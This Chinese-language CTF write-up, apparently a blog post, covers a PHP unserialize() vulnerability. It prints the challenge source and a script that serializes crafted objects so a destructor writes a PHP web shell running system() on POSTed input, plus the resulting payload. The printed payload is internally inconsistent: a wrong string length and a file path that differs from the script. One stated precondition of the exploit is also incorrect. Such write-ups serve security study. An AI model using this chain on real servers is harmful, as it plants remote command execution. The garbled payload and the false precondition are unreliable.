CTF web题总结--unserizable

最新推荐文章于 2024-07-19 13:51:47 发布

bob62856

最新推荐文章于 2024-07-19 13:51:47 发布

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文章标签： php 漏洞

本文链接：https://blog.csdn.net/qq_20817327/article/details/77688698

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php的反序列化漏洞
代码：

<?php
class Person {
    private static $defaults = [
        'name'     => null,
        'gender'   => null,
        'address'  => null,
        'birth'    => null,
        'married'  => null,
        'flag'     => false,
    ];
    private $data;

    public function __construct(array $data = []) {
        $this->data = array_replace(self::$defaults, $data);
        // Easy for you :)
        if (strlen($this->getName() . $this->getGender() . $this->getAddress()) !== 24) {
            $this->setFlag(false);
            return;
        }
        if (!preg_match('/^[\w]{4}_you_$/', $this->getName()) ||
            substr($this->getName(), 0, 4) !== 'Wish') {
            $this->setFlag(false);
            return;
        }
        if ($this->getGender() !== chr(65)) {
            $this->setFlag(false);
            return;
        }
        $this->setAddress('_happy_holiday'); // uhu?
        if (!$this->getBirth()) {
            $this->setFlag(false);
            return;
        } elseif ($this->getBirth() && !is_numeric($this->getBirth())) {
            $this->setBirth($this->getBirth());
        }
        if ($this->getBirth() < 1485532800) {  // New Year
            $this->setFlag(false);
            return;
        }
    }

    public function toArray() {
        return $this->data;
    }

    public function getName() {
        return $this->data['name'];
    }

    public function setName($name) {
        $this->data['name'] = $name;
    }

    public function getGender() {
        return $this->data['gender'];
    }

    public function setGender($gender) {
        $this->data['gender'] = $gender;
    }

    public function getAddress() {
        return $this->data['address'];
    }

    public function setAddress($address) {
        $this->data['address'] = $address;
    }

    public function getBirth() {
        return $this->data['birth'];
    }

    public function setBirth($timestamp) {
        $this->data['birth'] = is_numeric($timestamp)
            ? (int) $timestamp
            : strtotime($timestamp);
    }

    public function getMarried() {
        return $this->data['married'];
    }

    public function setMarried($married) {
        $this->data['married'] = $married;
    }

    public function getFlag() {
        return $this->data['flag'];
    }

    public function setFlag($flag) {
        $this->data['flag'] = $flag;
    }
}

class Storing {
    private $filename;
    private $persons = [];

    public function setPerson(Person $person) {
        $this->persons[] = $person;
    }

    public function __construct($personFile) {
        $this->filename = $personFile;
    }

    public function __destruct() {
        $this->save($this->filename);
    }

    public function save($filename) {
        $json = [];
        foreach ($this->persons as $person)
            if ($person->getFlag())
                $json[] = $person->toArray();
        file_put_contents($filename, json_encode($json));
    }
}

if (isset($_COOKIE['newyear'])) {
    $data = unserialize($_COOKIE['newyear']);
} else {
?>
<!DOCTYPE HTML>
<html>
<head>
 <meta charset="utf-8">
    <title>Ohhhhhhh!</title>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <style type="text/css">
        .center {
           position: absolute;
           left: 50%;
           margin-right: -50%;
           transform: translate(-50%, -0%)
        }
        .below {
          position: absolute;
          left: 50%;
          top: 50%;
          transform: translate(-50%, -50%);
        }
    </style>
    <link rel="stylesheet" type="text/css" href="/assets/css/flipclock.css">
</head>
<body style="background-image: url(/assets/img/9.jpg);background-size:cover;">
  <div class="center below">
            <div id="clock"></div>
  </div>
</body>
<script type="text/javascript" src="/assets/js/jquery-3.1.1.min.js"></script>
<script type="text/javascript" src="/assets/js/flipclock.min.js"></script>
<script type="text/javascript">
var end  = new Date(Date.UTC(2017, 0, 27, 16, 0, 0));
var now  = new Date();
var diff  = end.getTime() - now.getTime();
var clock = $('#clock').FlipClock(diff/1000, {
    clockFace: 'DailyCounter',
    countdown: true
});
</script>
</html>
<?php } ?>

上述代码中，用户控制的值可能会被传递到php的反序列化函数，在用户提供的输入未进行适当处理就传递给函数unserialize()时，此时就有可能导致该漏洞的发送。
为了成功地利用上述漏洞，必须满足三个条件:
1、应用程序中必须含有一个实现某个PHP魔幻方法（例如__wakeup或者__destruct）的类，可以用这个类进行恶意攻击，或者开始一个“POP链”。
2、当调用脆弱的unserialize()时，必须声明攻击期间所使用的所有类，否则必须为这些类支持对象自动加载。
3、传递给反序列化操作的数据必须来自于一个文件，所以服务器上必须包含有一个包含序列化数据的文件。
题解：
根据给出的类构造payload生成脚本

$obj = new Storing('/var/www/shell.php');
$payload = '<?php echo system($_POST[\'poc\']); ?>';
$obj->setPerson(new Person([
'name'=> 'Wish_you_',
'gender'=> 'A',
'address' => '_happy_holiday',
'birth'=> 1485532801,
'married' => $payload,
'flag' => true])
);
file_put_contents('./built_payload_poc', serialize($obj));

打开built_payload_poc就可以发现payload

O:7:"Storing":2:{s:17:"^@Storing^@filename";s:18:"/var/www/html/1-web02/shell.php";s:16:"^@Storing^@persons";a:1:{i:0;O:6:"Person":1:{s:12:"^@Person^@data";a:6:{s:4:"name";s:9:"Wish_you_";s:6:"gender";s:1:"A";s:7:"address";s:14:"_happy_holiday";s:5:"birth";i:1485532801;s:7:"married";s:36:"<?php echo system($_POST['poc']); ?>";s:4:"flag";b:1;}}}}